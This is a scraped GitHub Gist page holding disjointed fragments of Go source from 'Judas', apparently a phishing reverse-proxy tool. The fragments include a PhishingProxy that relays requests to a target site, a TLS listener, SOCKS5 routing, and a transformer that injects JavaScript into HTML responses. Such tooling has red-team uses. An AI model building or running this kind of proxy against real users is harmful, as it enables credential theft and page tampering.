Skip to content

Instantly share code, notes, and snippets.

View JonCooperWorks's full-sized avatar

JonCooperWorks

View GitHub Profile
package main
import (
"log"
"net/http/httputil"
"github.com/joncooperworks/judas/plugins"
)
type loggingPlugin struct{}
transactions := make(chan plugins.HTTPTransaction)
// Process all the plugin arguments.
for plugin, arguments := range installedPlugins {
go plugin.ProcessTransactions(transactions, arguments)
}
for {
conn, err := server.Accept()
if err != nil {
func loadPluginsFromDirectory(pluginsDirectory string) (map[plugins.Plugin]plugins.PluginArguments, error) {
pluginFilePaths, err := filepath.Glob(pluginsDirectory)
if err != nil {
return nil, err
}
installedPlugins := map[plugins.Plugin]plugins.PluginArguments{}
for _, filepath := range pluginFilePaths {
plugin, err := plugins.New(filepath)
if err != nil {
// HTTPTransaction represents a complete request - response flow.
type HTTPTransaction struct {
Request http.Request
Response http.Response
}
// PluginArguments is a map[string]interface{} of arguments to be passed to your ProcessTransactions function.
type PluginArguments map[string]interface{}
// Plugin contains functions and variables that Judas will be looking for in your plugin.
cer, err := tls.LoadX509KeyPair(certPath, privateKeyPath)
if err != nil {
exitWithError("Error loading keypair")
}
config := &tls.Config{Certificates: []tls.Certificate{cer}}
server, err := tls.Listen("tcp", address, config)
if err != nil {
exitWithError("Error starting TLS server")
}
dialer, err := proxy.SOCKS5("tcp", proxyAddress, nil, proxy.Direct)
if err != nil {
exitWithError(err.Error())
}
httpTransport := &http.Transport{}
httpTransport.Dial = dialer.Dial
client.Transport = httpTransport
phishingProxy := &PhishingProxy{
client: client,
targetURL: u,
// ResponseTransformer modifies a response in any way we see fit, such as inserting extra JavaScript.
type ResponseTransformer interface {
Transform(response *http.Response) error
}
// JavaScriptInjectionTransformer holds JavaScript filename for injecting into response.
type JavaScriptInjectionTransformer struct {
javascriptURL string
}
// Transform Injects JavaScript into an HTML response.
func (j JavaScriptInjectionTransformer) Transform(response *http.Response) error {
if !strings.Contains(response.Header.Get("Content-Type"), "text/html") {
return nil
}
for _, transformer := range p.responseTransformers {
transformer.Transform(resp)
}
modifiedResponse, err := httputil.DumpResponse(resp, true)
if err != nil {
log.Println("Error converting requests to bytes:", err.Error())
return
}
target := request.URL
target.Scheme = p.targetURL.Scheme
target.Host = p.targetURL.Host
req, err := http.NewRequest(request.Method, target.String(), request.Body)
if err != nil {
return nil, err
}
for key, _ := range request.Header {
req.Header.Set(key, request.Header.Get(key))